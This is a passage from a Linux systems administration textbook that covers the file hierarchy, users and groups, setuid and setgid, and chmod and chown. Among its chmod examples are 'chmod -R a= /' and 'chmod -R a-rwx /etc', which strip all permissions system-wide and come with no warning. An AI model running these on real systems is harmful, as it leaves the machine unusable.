www/web user). While most small systems will contain user directories directly off
the /home directory (for example, /home/jamiesob), on larger systems is common to
subdivide the home structure based on classes (or groups) of users, for example:

/home/admin # Administrators
/home/finance # Finance users
/home/humanres # Human Resource users
/home/mgr # Managers
/home/staff # Other people

David Jones, Bruce Jamieson (2/20/25) Page 68

85321, Systems Administration Chapter 4: The File Hierarchy

Other homes?

/root is the home directory for the root user. If, for some strange reason, the /root
directory doesn't exist, then the root user will be logged in in the / directory - this is
actually the traditional location for root users.
There is some debate as to allowing the root user to have a special directory as their
login point - this idea encourages the root user to set up their .profile, use "user"
programs like elm, tin and netscape (programs which require a home directory in
which to place certain configuration files) and generally use the root account as a
beefed up user account. A system administrator should never use the root account for
day to day user-type interaction; the root account should only be used for system
administration purposes only.

Be aware that you must be extremely careful when allowing a user to

have a home directory in a location other than the /home branch. The
problem occurs when you, as a system administrator, have to back-up
the system - it is easy to miss a home directory if it isn't grouped with
others in a common branch (like /home).

/usr and /var

And the difference is...

It is often slightly confusing to see that /usr and /var both contain similar
directories:

/usr

X11R6 games libexec src

bin i486-linux-libc5 local tmp
dict include man
doc info sbin
etc lib share

/var
catman local log preserve spool
lib lock nis run tmp

It becomes even more confusing when you start examining the the maze of links
which intermingle the two major branches.
Links are a way of referencing a file or directory by many names and
many locations within the file hierarchy. They are effectively like
"pointers" to files - think of them as like leaving a post-it note saying

David Jones, Bruce Jamieson (2/20/25) Page 69

85321, Systems Administration Chapter 4: The File Hierarchy

"see this file". Links will be explained in greater detail in the next
chapter.

David Jones, Bruce Jamieson (2/20/25) Page 70

 85321, Systems Administration Chapter 4: The File Hierarchy

To put it simply, /var is for VARiable data/files. /usr is for USeR accessible data,
programs and libraries. Unfortunately, history has confused things - files which should
have been placed in the /usr branch have been located in the /var branch and vice
versa. Thus to "correct" things, a series of links have been put in place. Why the
reason for the separation? Does it matter. The answer is: Yes, but No :)
Yes in the sense that the file standard dictates that the /usr branch should be able to
be mounted (another way of saying "attached" to the file hierarchy - this will be
covered in the next chapter) READ ONLY (thus can't contain variable data). The
reasons for this are historical and came about because of something called NFS
exporting.
NFS exporting is the process of one machine (a server) "exporting" its
copy of the /usr structure (and others) to the network for other
systems to use.
If several systems were "sharing" the same /usr structure, it would not be a good
idea for them all to be writing logs and variable data to the same area! It is also used
because minimal installations of Linux can use the /usr branch directly from the
CDROM (a read-only device).
However, it is "No" in the sense that:
 /usr is usually mounted READ-WRITE-EXECUTE on Linux systems anyway
 In the author's experience, exporting /usr READ-ONLY via NFS isn't entirely
successful without making some very non-standard modifications to the file
hierarchy!
The following are a few highlights of the /var and /usr directory branches:

/usr/local

All software that is installed on a system after the operating system package itself
should be placed in the /usr/local directory. Binary files should be located in
the /usr/local/bin (generally /usr/local/bin should be included in a user's
PATH setting). By placing all installed software in this branch, it makes backups and
upgrades of the system far easier - the system administrator can back-up and restore
the entire /usr/local system with more ease than backing-up and restoring software
packages from multiple branches (i.e.. /usr/src, /usr/bin etc.).
An example of a /usr/local directory is listed below:
bin games lib rsynth cern
man sbin volume-1.11 info
mpeg speak www etc java
netscape src
As you can see, there are a few standard directories (bin, lib and src) as well as
some that contain installed programs.

David Jones, Bruce Jamieson (2/20/25) Page 71

 85321, Systems Administration Chapter 4: The File Hierarchy

lib, include and src

Linux is a very popular platform for C/C++, Java and Perl program development. As
we will discuss in later chapters, Linux also allows the system administrator to
actually modify and recompile the kernel. Because of this, compilers, libraries and
source directories are treated as "core" elements of the file hierarchy structure.
The /usr structure plays host to three important directories:
/usr/include holds most of the standard C/C++ header files - this directory will be
referred to as the primary include directory in most Makefiles.
Makefiles are special script-like files that are processed by the make
program for the purposes of compiling, linking and building
programs.
/usr/lib holds most static libraries as well as hosting subdirectories containing
libraries for other (non C/C++) languages including Perl and TCL. It also plays host to
configuration information for ldconfig.
/usr/src holds the source files for most packages installed on the system. This is
traditionally the location for the Linux source directory (/usr/src/linux), for
example:
linux linux-2.0.31 redhat
Unlike DOS/Windows based systems, most Linux programs usually
come as source and are compiled and installed locally

/var/spool

This directory has the potential for causing a system administrator a bit of trouble as it
is used to store (possibly) large volumes of temporary files associated with printing,
mail and news. /var/spool may contain something like:

at lp lpd mqueue samba uucppublic

cron mail rwho uucp

In this case, there is a printer spool directory called lp (used for storing print request
for the printer lp) and a /var/spool/mail directory that contains files for each user’s
incoming mail.
Keep an eye on the space consumed by the files and directories found
in /var/spool. If a device (like the printer) isn't working or a large
volume of e-mail has been sent to the system, then much of the hard
drive space can be quickly consumed by files stored in this location.

David Jones, Bruce Jamieson (2/20/25) Page 72

85321, Systems Administration Chapter 4: The File Hierarchy

X Windows

X-Windows provides UNIX with a very flexible graphical user interface. Tracing the
X Windows file hierarchy can be very tedious, especially when your are trying to
locate a particular configuration file or trying to removed a stale lock file.
A lock file is used to stop more than one instance of a program
executing at once, a stale lock is a lock file that was not removed
when a program terminated, thus stopping the same program from
restarting again
Most of X Windows is located in the /usr structure, with some references made to it
in the /var structure.
Typically, most of the action is in the /usr/X11R6 directory (this is usually an alias or
link to another directory depending on the release of X11 - the X Windows manager).
This will contain:
bin doc include lib man
The main X Windows binaries are located in /usr/X11R6/bin. This may be accessed
via an alias of /usr/bin/X11 .
Configuration files for X Windows are located in /usr/X11R6/lib. To really confuse
things, the X Windows configuration utility, xf86config, is located in
/usr/X11R6/bin, while the configuration file it produces is located in /etc/X11
(XF86Config)!
Because of this, it is often very difficult to get an "overall picture" of how X Windows
is working - my best advice is read up on it before you start modifying (or developing
with) it.

Bins
Which bin?

A very common mistake amongst first time UNIX users is to incorrectly assume that
all "bin" directories contain temporary files or files marked for deletion. This
misunderstanding comes about because:
 People associate the word "bin" with rubbish
 Some unfortunate GUI based operating systems use little icons of "trash cans" for
the purposes of storing deleted/temporary files.
However, bin is short for binary - binary or executable files. There are four major bin
directories (none of which should be used for storing junk files :)
 /bin
 /sbin

David Jones, Bruce Jamieson (2/20/25) Page 73

85321, Systems Administration Chapter 4: The File Hierarchy

 /usr/bin
 /usr/local/bin
Why so many?
All of the bin directories serve similar but distinct purposes; the division of binary
files serves several purposes including ease of backups, administration and logical
separation. Note that while most binaries on Linux systems are found in one of these
four directories, not all are.

/bin

This directory must be present for the OS to boot. It contains utilities used during the
startup; a typical listing would look something like:
Mail df gzip mount stty
arch dialog head mt su
ash dircolors hostname mt-GNU sync
bash dmesg ipmask mv tar
cat dnsdomainname kill netstat tcsh
chgrp domainname killall ping telnet
chmod

domainname-yp ln ps touch
chown du login pwd true
compress echo ls red ttysnoops
cp ed mail rm umount
cpio

false mailx rmdir umssync

csh free mkdir setserial uname
cut ftp mkfifo setterm zcat
date getoptprog mknod sh zsh
dd gunzip more sln

Note that this directory contains the shells and some basic file and text utilities (ls,
pwd, cut, head, tail, ed etc). Ideally, the /bin directory will contain as few files
as possible as this makes it easier to take a direct copy for recovery boot/root disks.

/sbin

/sbin Literally "System Binaries". This directory contains files that should generally
only be used by the root user, though the Linux file standard dictates that no access
restrictions should be placed on normal users to these files. It should be noted that the
PATH setting for the root user includes /sbin, while it is (by default) not included in
the PATH of normal users.
The /sbin directory should contain essential system administration scripts and
programs, including those concerned with user management, disk administration,
system event control (restart and shutdown programs) and certain networking
programs.
As a general rule, if users need to run a program, then it should not be located in
/sbin. A typical directory listing of /sbin looks like:

David Jones, Bruce Jamieson (2/20/25) Page 74

85321, Systems Administration Chapter 4: The File Hierarchy

adduser ifconfig mkfs.minix rmmod

agetty init mklost+found rmt
arp insmod mkswap rootflags
badblocks installpkg mkxfs route
bdflush kbdrate modprobe runlevel
chattr killall5 mount setup
clock ksyms netconfig setup.tty
debugfs ldconfig netconfig.color shutdown
depmod lilo netconfig.tty swapdev
dosfsck liloconfig pidof swapoff
dumpe2fs liloconfig-color pkgtool swapon
e2fsck lsattr pkgtool.tty telinit
explodepkg lsmod plipconfig tune2fs
fdisk makebootdisk ramsize umount
fsck makepkg rarp update
fsck.minix mkdosfs rdev vidmode
genksyms mke2fs reboot xfsck
halt mkfs removepkg
The very important ldconfig program is also located in /sbin. While
not commonly used from the shell prompt, ldconfig is an essential
program for the management of dynamic libraries (it is usually
executed at boot time). It will often have to be manually run after
library (and system) upgrades.
You should also be aware of:
/usr/sbin - used for non-essential admin tools.
/usr/local/sbin - locally installed admin tools.

/usr/bin

This directory contains most of the user binaries - in other words, programs that users
will run. It includes standard user applications including editors and email clients as
well as compilers, games and various network applications.
A listing of this directory will contain some 400 odd files. Users should definitely
have /usr/bin in their PATH setting.

/usr/local/bin

To this point, we have examined directories that contain programs that are (in general)
part of the actual operating system package. Programs that are installed by the system
administrator after that point should be placed in /usr/local/bin. The main reason
for doing this is to make it easier to back up installed programs during a system
upgrade, or in the worst case, to restore a system after a crash.
The /usr/local/bin directory should only contain binaries and
scripts - it should not contain subdirectories or configuration files.

Configuration files, logs and other bits!

David Jones, Bruce Jamieson (2/20/25) Page 75
 85321, Systems Administration Chapter 4: The File Hierarchy

etc etc etc.

/etc is one place where the root user will spend a lot of time. It is not only the home
to the all important passwd file, but contains just about every configuration file for a
system (including those for networking, X Windows and the file system).
The /etc branch also contains the skel, X11 and rc.d directories.
/etc/skel contains the skeleton user files that are placed in a user's directory when
their account is created.
/etc/X11 contains configuration files for X Windows.
/etc/rc.d is contains rc directories - each directory is given by the name rcn.d (n is
the run level) - each directory may contain multiple files that will be executed at the
particular run level. A sample listing of a /etc/rc.d directory looks something
like:
init.d rc.local rc0.d rc2.d rc4.d rc6.d
rc rc.sysinit rc1.d rc3.d rc5.d

Logs

Linux maintains a particular area in which to place logs (or files which contain records
of events). This directory is /var/log.
This directory usually contains:
cron lastlog maillog.2 samba-log. secure.2 uucp
cron.1 log.nmb messages samba.1 sendmail.st wtmp
cron.2 log.smb messages.1 samba.2 spooler xferlog
dmesg maillog messages.2 secure spooler.1 xferlog.1
httpd maillog.1 samba secure.1 spooler.2 xferlog.2

/proc

The /proc directory hierarchy contains files associated with the executing kernel.
The files contained in this structure contain information about the state of the system's
resource usage (how much memory, swap space and CPU is being used), information
about each process and various other useful pieces of information. We will examine
this directory structure in more depth in later chapters.
The /proc file system is the main source of information for a program
called top. This is a very useful administration tool as it displays a
"live" readout of the CPU and memory resources being used by each
process on the system.

/dev

David Jones, Bruce Jamieson (2/20/25) Page 76

85321, Systems Administration Chapter 4: The File Hierarchy

We will be discussing /dev in detail in the next chapter, however, for the time being,
you should be aware that this directory is the primary location for special files called
device files.

Conclusion

Future standards

Because Linux is a dynamic OS, there will no doubt be changes to its file system as
well. Two current issues that face Linux are:
 Porting Linux on to may architectures and requiring a common location for
hardware independent data files and scripts - the current location is /usr/share - this
may change.
 The location of third-party commercial software on Linux systems - as Linux's
popularity increases, more software developers will produce commercial software
to install on Linux systems. For this to happen, a location in which this can be
installed must be provided and enforced within the file system standard. Currently,
/opt is the likely option.
Because of this, it is advisable to obtain and read the latest copy of the file system
standard so as to be aware of the current issues. Other information sources are easily
obtainable by searching the web.
You should also be aware that while (in general), the UNIX file hierarchy looks
similar from version to version, it contains differences based on requirements and the
history of the development of the operating system implementation.

Review Questions

4.1

You have just discovered that the previous system administrator of the system you
now manage installed netscap in /sbin. Is this an appropiate location? Why/Why
not?.

4.2

Where are man pages kept? Explain the format of the man page directories. (Hint: I
didn't explain this anywhere in this chapter - you may have to do some looking)

4.3

David Jones, Bruce Jamieson (2/20/25) Page 77

85321, Systems Administration Chapter 4: The File Hierarchy

As a system administrator, you are going to install the following programs, in each
case, state the likely location of each package:
 Java compiler and libraries
 DOOM (a loud, violent but extremely entertaining game)
 A network sniffer (for use by the sys admin only)
 A new kernel source
 A X Windows manager binary specially optimised for your new monitor

David Jones, Bruce Jamieson (2/20/25) Page 78

85321, Systems Administration Chapter 5: Processes and Files

Chapter 5
Processes and Files

Introduction
This chapter introduces the important and related UNIX concepts of processes and
files.
A process is basically an executing program. All the work performed by a UNIX
system is carried out by processes. The UNIX operating system stores a great deal of
information about processes and provides a number of mechanisms by which you can
manipulate both the files and the information about them.
All the long term information stored on a UNIX system, like most computers today, is
stored in files which are organised into a hierarchal directory structure. Each file on a
UNIX system has a number of attributes that serve different purposes. As with
processes there are a collection of commands which allow users and Systems
Administrators to modify these attributes.
Among the most important attributes of files and processes examined in this chapter
are those associated with user identification and access control. Since UNIX is a
multiuser operating system it must provide mechanisms which restrict what and where
users (and their processes) can go. An understanding of how this is achieved is
essential for a Systems Administrator.

Multiple users
UNIX is a multi-user operating system. This means that at any one time there are
multiple people all sharing the computer and its resources. The operating system must
have some way of identifying the users and protecting one user's resources from the
other users.

Identifying users

Before you can use a UNIX computer you must first log in. The login process requires
that you have a username and a password. By entering your username you identify
yourself to the operating system.

David Jones, Bruce Jamieson (2/20/25) Page 79

 85321, Systems Administration Chapter 5: Processes and Files

Users and groups

In addition to a unique username UNIX also places every user into at least one group.
Groups are used to provide or restrict access to a collection of users and are specified
by the /etc/group file.
To find out what groups you are a member of use the groups command. It is possible
to be a member of more than one group.

Names and numbers

As you've seen each user and group has a unique name. However the operating system
does not use these names internally. The names are used for the benefit of the human
users.
For its own purposes the operating system actually uses numbers to represent each
user and group (numbers are more efficient to store). This is achieved by each
username having an equivalent user identifier (UID) and every group name having an
equivalent group identifier (GID).
The association between username and UID is stored in the /etc/passwd file. The
association between group name and GID is stored in the /etc/group file.
To find out the your UID and initial GID try the following command
grep username /etc/passwd
Where username is your username. This command will display your entry in the
/etc/passwd file. The third field is your UID and the fourth is your initial GID. On
my system my UID is 500 and my GID is 100.
bash$ grep david /etc/passwd
david:*:500:100:David Jones:/home/david:/bin/bash

id

The id command can be used to discover username, UID, group name and GID of any
user.
dinbig:~$ id
uid=500(david) gid=100(users) groups=100(users)
dinbig:~$ id root
uid=0(root) gid=0(root) groups=0(root),1(bin),
2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy)
In the above you will see that the user root is a member of more than one group. The
entry in the /etc/passwd file stores the GID of the users initial group (mine is 100,
root's is 0). If a user belongs to any other groups they are specified in the /etc/group
file.

David Jones, Bruce Jamieson (2/20/25) Page 80

85321, Systems Administration Chapter 5: Processes and Files

Commands and processes

Whenever you run a program, whether it is by typing in at the command line or
running it from X-Windows, a process is created. It is the process, a program in
execution and a collection of executable code, data and operating system data
structures, which perform the work of the program.
The UNIX command line that you use to enter commands is actually another
program/command called the shell. The shell is responsible for asking you for a
command and then attempting to execute the command. (The shell also performs a
number of other tasks which are discussed in the next chapter).

Where are the commands?

For you to execute a command, for example ls, that command must be in one of the
directories in your search path. The search path is a list of directories maintained by
the shell.
When you ask the shell to execute a command it will look in each of the directories in
your search path for a file with the same name as the command. When it finds the
executable program it will run it. If it doesn't find the executable program it will report
command_name: not found.

which

Linux and most UNIX operating systems supply a command called which. The
purpose of this command is to search through your search path for a particular
command and tell you where it is.
For example, the command which ls on my machine aldur returns /usr/bin/ls.
This means that the program for ls is in the directory /usr/bin.

Exercises

5.1 Use the which command to find the locations of the following commands
ls
echo
set

When is a command not a command?

David Jones, Bruce Jamieson (2/20/25) Page 81

85321, Systems Administration Chapter 5: Processes and Files

In the previous exercise you will have discovered that which could not find the set
command. How can this be possible? Enter the set command. Does it work? Why
can't which find it?
This is because set is a built-in shell command. This means there isn't an executable
program that contains the code for the set command. Instead the code for set is
actually built into the shell.

Controlling processes
Controlling Processes

The resource materials section for Week 2 (on the 85321 Web site and CD-ROM)
has a reading on controlling processes.

Exercises

5.2 Under the VMS operating system it is common to use the key combination
CTRL-Z to exit a program. A new user on your UNIX system has been using
VMS a lot. What happens when he uses CTRL-Z while editing a document
with vi?

Process attributes
For every process that is created the UNIX operating system stores information
including
 its real UID, GID and its effective UID and GID
 the code and variables used by the process (its address map)
 the status of the process
 its priority
 its parent process

Parent processes

All processes are created by another process (its parent). The creation of a child
process is usually a combination of two operations
 forking
A new process is created that is almost identical to the parent process. It will be
using the same code.
 exec
This changes the code being used by the process to that of another program.

David Jones, Bruce Jamieson (2/20/25) Page 82

85321, Systems Administration Chapter 5: Processes and Files

When you enter a command it is the shell that performs these tasks. It will fork off a
new process (which is running the shell's program). The child process then performs
an exec to change to the code for the command you wish executed.
While your command is executing the shell will block until its child has completed.
When the child dies the shell will present you with another prompt and wait for a new
command.

David Jones, Bruce Jamieson (2/20/25) Page 83

85321, Systems Administration Chapter 5: Processes and Files

Process UID and GID

In order for the operating system to know what a process is allowed to do it must store
information about who owns the process (UID and GID). The UNIX operating system
stores two types of UID and two types of GID.

Real UID and GID

A process' real UID and GID will be the same as the UID and GID of the user who ran
the process. Therefore any process you execute will have your UID and GID.
The real UID and GID are used for accounting purposes.

Effective UID and GID

The effective UID and GID are used to determine what operations a process can
perform. In most cases the effective UID and GID will be the same as the real UID
and GID.
However using special file permissions it is possible to change the effective UID and
GID. How and why you would want to do this is examined later in this chapter.

Exercises

5.3 Create a text file called i_am.c that contains the following C program.
Compile the program by using the following command
cc i_am.cc -o i_am
This will produce an executable program called i_am.
Run the program. (rather than type the code, you should be able to cut and
paste it from the online versions of this chapter that are on the CD-ROM
and Web site)
#include <stdio.h>
#include <unistd.h>

void main()
{
int real_uid, effective_uid;
int real_gid, effective_gid;

/* get the user id and group id*/

real_uid = getuid();
effective_uid = geteuid();
real_gid = getgid();
effective_gid = getegid();

/* display what I found */

David Jones, Bruce Jamieson (2/20/25) Page 84

85321, Systems Administration Chapter 5: Processes and Files

printf( "The real uid is %d\n", real_uid );

printf("The effective uid is %d\n", effective_uid );
printf("The real gid is %d\n", real_gid );
printf("The effective gid is %d\n", effective_gid );
}

David Jones, Bruce Jamieson (2/20/25) Page 85

85321, Systems Administration Chapter 5: Processes and Files

Files
All the information stored by UNIX onto disk is stored in files. Under UNIX even
directories are just special types of files. A previous reading has already introduced
you to the basic UNIX directory hierarchy. The purpose of this section is to fill in
some of the detail.

File types

UNIX supports a small number of different file types. The following table summarises
these different file types. What the different file types are and what their purpose is
will be explained as we progress. File types are signified by a single character.

File type Meaning

- a normal file
d a directory
l symbolic link
b block device file
c character device file
p a fifo or named pipe
Ta b l e 5 . 1
UNIX file types

For current purposes you can think of these file types as falling into three categories
 “normal” files,
Files under UNIX are just a collection of bytes of information. These bytes might
form a text file or a binary file.
 directories or directory files,
Remember, for UNIX a directory is just another file which happens to contain the
names of files and their I-node. An I-node is an operating system data structure
which is used to store information about the file (explained later).
 special or device files.
Explained in more detail later on in the text these special files provide access to
devices which are connected to the computer. Why these exist and what they are
used for will be explained.

Types of normal files

Quite obviously it is possible to have different types of normal files based on the data
they contain. You can have text files, executable files, sound files and images. If
you’re unsure what type of normal file you have the UNIX file command might
help.

David Jones, Bruce Jamieson (2/20/25) Page 86

 85321, Systems Administration Chapter 5: Processes and Files

[david@beldin david]$ file /demo_1.au /etc/passwd /usr/bin/file

demo_1.au: Sun/NeXT audio data: 8-bit ISDN u-law, mono, 8000 Hz
/etc/passwd: ASCII text
/usr/bin/file: ELF 32-bit LSB executable, Intel 80386, version 1, dynamically
linked, stripped
In this example the file command has been used to discover what type of file three
files are. The three files here are audio, text and executable files respectively.
How does this work?
The file command looks for a magic number inside a data file. If the file contains
a certain magic number then it must be a certain type of file. The magic numbers and
the corresponding file description is contained in a text data file. On RedHat system
you should find this information in the file /usr/lib/magic.

Exercises

5.4 Examine the contents of the /usr/lib/magic file. Experiment with the
file command on a number of different files.

File attributes

UNIX stores a variety of information about each file including

 where the file's data is stored on the disk
 what the file's name is
 who owns the file
 who is allowed to do what with the file
 how big the file is
 when was the file last modified
 how many links there are to the file
UNIX uses a data structure called an inode to store all of this information (except for
the filename). Every file on a UNIX system must have an associated inode. You can
find out which inode a file has by using the ls -i command.
dinbig:~$ ls -i README
45210 README
In the above example the file README is using inode 45210.
As mentioned previously, the name of a file is actually stored in the directory in which
it appears. Throughout this text you will find the term file used to mean both files and
directories.

Viewing file attributes

To examine the various attributes associated with a file you can use the -l switch of
the ls command.

David Jones, Bruce Jamieson (2/20/25) Page 87

85321, Systems Administration Chapter 5: Processes and Files

David Jones, Bruce Jamieson (2/20/25) Page 88

85321, Systems Administration Chapter 5: Processes and Files

Figure 5.1
File Attributes

Filenames

Most UNIX file

systems
(including the
Linux file
system) will allow filenames to be 255 characters long and use almost any characters.
However there are some characters that can cause problems if used including * $ ? '
" / \ - and others. Why is explained in the next chapter. This doesn’t mean you
can’t create filenames that contain these characters, just that you can have some
problems if you do.

Size

The size of a file is specified in bytes. So the above file is 227 bytes long. The
standard Linux file system will allow files to be up to 4TB (terra bytes) in size.

Date

The date specified here is the date the file was last modified.

Permissions
The permission attributes of a file specifies what operations can be done with a file
and who can perform those operations. Permissions are explained in more detail in
the following section.

David Jones, Bruce Jamieson (2/20/25) Page 89

85321, Systems Administration Chapter 5: Processes and Files

Exercises

5.5 Execute the following command ls -ld / /dev (it produces a long listing of
the directories / and /dev). Why is the /dev directory bigger than the /
directory?
5.6 Execute the following commands (double the number of times the letter 'a'
appears in the filename for the touch command)
ls –ld /tmp
for name in 1 2 3 4 5 6 7 8 9 10 11 12 13 14
do
touch /tmp/aaaaaaaaaaaaaaaaaaaaaaaaaaaa$name
done
ls -ld /tmp
These commands create a number of empty files inside the /tmp directory.
(The touch command is used to create an empty file if the file doesn't exist,
or updates the date last modified if it does.)
Why does the output of the ls -ld /tmp command change?

File protection
Given that there can be many people sharing a UNIX computer it is important that the
operating system provide some method of restricting access to files. I don't want you
to be able to look at my personal files.
UNIX achieves this by
 restricting users to three valid operations,
Under UNIX there are only three things you can do to a file (or directory): read,
write or execute it.
 allow the file owner to specify who can do these operations on a file.
The file owner can use the user and group concepts of UNIX to restrict which
users (actually it restricts which processes that are owned by particular users) can
perform these tasks.

File operations

UNIX provides three basic operations that can be performed on a file or a directory.
The following table summarises those operations.
It is important to recognise that the operations are slightly different depending whether
they are being applied to a file or a directory.
Operation Effect on a file Effect on a directory
read read the contents of the file find out what files are in
the directory, e.g. ls

David Jones, Bruce Jamieson (2/20/25) Page 90

85321, Systems Administration Chapter 5: Processes and Files

write delete the file or add be able to create or remove

something to the file a file from the directory
execute be able to run a be able to access a file
file/program within a directory
Ta b l e 5 . 2
UNIX file operations

Users, groups and others

Processes wishing to access a file on a UNIX computer are placed into one of three
categories
 user
The individual user who owns the file (by default the user that created the file but
this can be changed). In figure 5.1 the owner is the user david.
 group
The collection of people that belong to the group that owns the file (by default the
group to which the file's creator belongs). In figure 5.1 the group is staff.
 other
Anybody that doesn't fall into the first two categories.

File permissions

Each user category (user, group and other) have their own set of file permissions.
These control what file operation each particular user category can perform.
File permissions are the first field of file attributes to appear in the output of ls -l.
File permissions actually consist of four fields
 file type,
 user permissions,
 group permissions,
 and other permissions.

Figure 5.2

File Permissions

Three sets
of file

permissions

David Jones, Bruce Jamieson (2/20/25) Page 91

85321, Systems Administration Chapter 5: Processes and Files

As the diagram shows the file permissions for a file are divided into three different
sets one for the user, one for a group which owns the file and one for everyone else.
A letter indicates that the particular category of user has permission to perform that
operation on the file. A - indicates that they can't.
In the above diagram the owner can read, write and execute the file (rwx). The group
can read and write the file (rw-), while other cannot do anything with the file (---).

Symbolic and numeric permissions

rwxr-x-w- is referred to as symbolic permissions. The permissions are represented

using a variety of symbols.
There is another method for representing file permissions called numeric or absolute
permissions where the file permissions are represented using numbers.

Symbols

The following table summarises the symbols that can be used in representing file
permissions using the symbolic method.
Symbol Purpose
r read
w write
x execute
s setuid or setgid (depending on location)
t sticky bit
Ta b l e 5 . 3
Symbolic file permissions

Special permissions

Table 5.3 introduced three new types of permission setuid, setgid and the sticky bit.

Sticky bit on a file

In the past having the sticky bit set on a file meant that when the file was executed the
code for the program would "stick" in RAM. Normally once a program has finished its
code was taken out of RAM and that area used for something else.
The sticky bit was used on programs that were executed regularly. If the code for a
program is already in RAM the program will start much quicker because the code
doesn't have to be loaded from disk.
However today with the advent of shared libraries and cheap RAM most modern
Unices ignore the sticky bit when it is set on a file.

David Jones, Bruce Jamieson (2/20/25) Page 92

 85321, Systems Administration Chapter 5: Processes and Files

Sticky bit on a directory

The /tmp directory on UNIX is used by a number of programs to store temporary files
regardless of the user. For example when you use elm (a UNIX mail program) to send
a mail message, while you are editing the message it will be stored as a file in the
/tmp directory.

Modern UNIX operating systems (including Linux) use the sticky bit on a directory to
make /tmp directories more secure. Try the command ls -ld /tmp what do you
notice about the file permissions of /tmp.
If the sticky bit is set on a directory you can only delete or rename a file in that
directory if you are
 the owner of the directory,
 the owner of the file, or
 the super user

Changing passwords

When you use the passwd command to change your password the command will
actually change the contents of either the /etc/passwd or /etc/shadow files. These
are the files where your password is stored. By default most Linux systems use
/etc/passwd

As has been mentioned previously the UNIX operating system uses the effective UID
and GID of a process to decide whether or not that process can modify a file. Also the
effective UID and GID are normally the UID and GID of the user who executes the
process.
This means that if I use the passwd command to modify the contents of the
/etc/passwd file (I write to the file) then I must have write permission on the
/etc/passwd file. Let's find out.

What are the file permissions on the /etc/passwd file?

dinbig:~$ ls -l /etc/passwd
-rw-r--r-- 1 root root 697 Feb 1 21:21 /etc/passwd
On the basis of these permissions should I be able to write to the /etc/passwd file?
No. Only the user who owns the file, root, has write permission. Then how do does
the passwd command change my password?

setuid and setgid

This is where the setuid and setgid file permissions enter the picture. Let's have a look
at the permissions for the passwd command (first we find out where it is).

David Jones, Bruce Jamieson (2/20/25) Page 93

 85321, Systems Administration Chapter 5: Processes and Files

dinbig:~$ which passwd

/usr/bin/passwd
dinbig:~$ ls -l /usr/bin/passwd
-rws--x--x 1 root bin 7192 Oct 16 06:10 /usr/bin/passwd

Notice the s symbol in the file permissions of the passwd command, this specifies that
this command is setuid.
The setuid and setgid permissions are used to change the effective UID and GID of a
process. When I execute the passwd command a new process is created. The real UID
and GID of this process will match my UID and GID. However the effective UID and
GID (the values used to check file permissions) will be set to that of the command.
In the case of the passwd command the effective UID will be that of root because the
setuid permission is set, while the effective GID will be my group's because the setgid
bit is not set.

Exercises

5.7 Log in as the root user, go to the directory that contains the file i_am you
created in exercise 5.3. Execute the following commands
cp i_am i_am_root
cp i_am i_am_root_group
chown root.root i_am_root*
chmod a+rx i_am*
chmod u+s i_am_root
chmod +s i_am_root_group
ls -l i_am*
These commands make copies of the i_am program called
i_am_root with setuid set, and i_am_root_group with setuid and setgid set.
Log back in as your normal user and execute all three of the i_am programs.
What do you notice? What is the UID and gid of root?

Numeric permissions

Up until now we have been using symbols like r w x s t to represent file

permissions. However the operating system itself doesn't use symbols, instead it uses
numbers. When you use symbolic permissions, the commands translate between the
symbolic permission and the numeric permission.
With numeric or absolute permissions the file permissions are represented using octal
(base 8) numbers rather than symbols. The following table summarises the
relationship between the symbols used in symbolic permissions and the numbers used
in numeric permissions.

David Jones, Bruce Jamieson (2/20/25) Page 94

85321, Systems Administration Chapter 5: Processes and Files

To obtain the numeric permissions for a file you add the numbers for all the
permissions that are allowed together.

David Jones, Bruce Jamieson (2/20/25) Page 95

85321, Systems Administration Chapter 5: Processes and Files

Symbol Number
s 4000 setuid 2000 setgid
t 1000
r 400 user 40 group 4 other
w 200 user 20 group 2 other
x 100 user 10 group 1 other
Ta b l e 5 . 4
Numeric file permissions

Symbolic to numeric

Here's an example of converting from symbolic to numeric using a different method.

This method relies on using binary numbers to calculate the numeric permissions.
The process goes something like this
 write down the symbolic permissions,
 under each permission that is on, write a one
 under each permission that is off, write a zero
 for each category of user, user, group and other convert the three binary digits into
decimal, e.g. rwx -> 111 -> 7
 combine the three numbers (one each for user, group and other) into a single octal
number

Figure 5.3

Symbolic to
Numeric
permissions

Exercises

5.8 Convert the following symbolic permissions to numeric

rwxrwxrwx
---------
---r--r--
r-sr-x---
rwsrwsrwt

David Jones, Bruce Jamieson (2/20/25) Page 96

 85321, Systems Administration Chapter 5: Processes and Files

5.9 Convert the following numeric permissions to symbolic

710
4755
5755
6750
7000

Changing file permissions

The UNIX operating system provides a number of commands for users to change the
permissions associated with a file. The following table provides a summary.
Command Purpose
chmod change the file permissions for a file
umask set the default file permissions for any
files to be created. Usually run as the user
logs in.
chgrp change the group owner of a file
chown change the user owner of a file.
Ta b l e 5 . 5
Commands to change file ownership and permissions

Changing permissions

The chmod command is used to the change a file's permissions. Only the user who
owns the file can change the permissions of a file (the root user can also do it).

Format

chmod [-R] operation files

The optional (the [ ] are used to indicate optional) switch -R causes chmod to
recursively descend any directories changing file permissions as it goes.
files is the list of files and directories to change the permissions of.
operation indicates how to change the permissions of the files. operation can be
specified using either symbolic or absolute permissions.

Numeric permissions

When using numeric permissions operation is the numeric permissions to change the
files permissions to. For example
chmod 770 my.file

will change the file permissions of the file my.file to the numeric permissions 770.

David Jones, Bruce Jamieson (2/20/25) Page 97

85321, Systems Administration Chapter 5: Processes and Files

Symbolic permissions

When using symbolic permissions operation has three parts who op

symbolic_permission where
 who specifies the category of user to change the permissions for
It can be any combination of u for user, g for group, o for others and a for all
categories.
 op specifies how to change the permissions
+ add permission, - remove permission, = set permission
 permission specifies the symbolic permissions
r for read, w for write, x execute, s set uid/gid, t set sticky bit.

Examples
 chmod u+rwx temp.dat
add rwx permission for the owner of the file, these permissions are added to the
existing permissions
 chmod go-rwx temp.dat
remove all permissions for the group and other categories
 chmod -R a-rwx /etc
turn off all permissions, for all users, for all files in the /etc directory.
 chmod -R a= /
turn off all permissions for everyone for all files
 chmod 770 temp.dat
allow the user and group read, write and execute and others no access

Changing owners

The UNIX operating system provides the chown command so that the owner of a file
can be changed. However in most Unices only the root user can use the command.
Two reasons why this is so are
 in a file system with quotas (quotas place an upper limit of how many files and
how much disk space a user can use) a person could avoid the quota system by
giving away the ownership to another person
 if anyone can give ownership of a file to root they could create a program that is
setuid to the owner of the file and then change the owner of the file to root

Changing groups

UNIX also supplies the command chgrp to change the group owner of a file. Any user
can use the chgrp command to change any file they are the owner of. However you
can only change the group owner of a file to a group to which you belong.

